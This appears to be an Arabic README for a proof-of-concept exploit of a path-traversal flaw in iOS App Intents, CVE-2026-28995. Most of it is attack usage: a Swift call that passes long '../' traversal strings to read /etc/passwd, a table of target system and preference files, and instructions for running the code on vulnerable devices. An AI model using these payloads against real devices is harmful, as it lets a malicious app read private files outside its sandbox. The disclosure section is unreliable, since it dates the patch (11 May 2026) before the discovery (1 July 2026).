CVE-2026-28995

إثبات المفهوم لـ CVE-2026-28995 — ثغرة اجتياز المسار في App Intents على iOS 26.4.2 والإصدارات الأقدم.

الوصف

تسمح هذه الثغرة لتطبيق ضار بـ قراءة أي ملف خارج حمايته (sandbox) عبر App Intents. السبب الجذري هو التحقق غير الكافي من المسار في إطار عمل App Intents من Apple.

الإصدارات المتأثرة: iOS 26.4.2 والإصدارات الأقدم
تم التصحيح في: iOS 26.5 (11 مايو 2026)

الاستخدام

1. الدالة readCve(path: String) -> String

let intent = CVE_2026_28995()
let content = intent.readCve(path: "../../../../../../../../../../../../../etc/passwd")
print(content)

2. أمثلة المسارات

المسار	يقرأ
../../../../../../../../../../../../../etc/passwd	كلمات مرور المستخدمين
../../../../../../../../../../../../../etc/hosts	ملف hosts
../../../../../../../../../../../../../var/mobile/Library/Preferences/.GlobalPreferences.plist	تفضيلات النظام

3. التعامل مع الدلائل

إذا كان المسار يشير إلى دليل، فستُرجع الدالة:

[DIRECTORY]
Contents:
file1.txt
file2.jpg
folder/

كيفية التشغيل

أنشئ مشروع iOS في Xcode. أضف CVE-2026-28995.swift إلى المشروع. استدعِ readCve(path:) باستخدام المسار المستهدف. شغّل على iOS 26.4.2 أو إصدار أقدم.

الإفصاح المسؤول

تم الاكتشاف: 1 يوليو 2026
تم التصحيح في: iOS 26.5 (11 مايو 2026)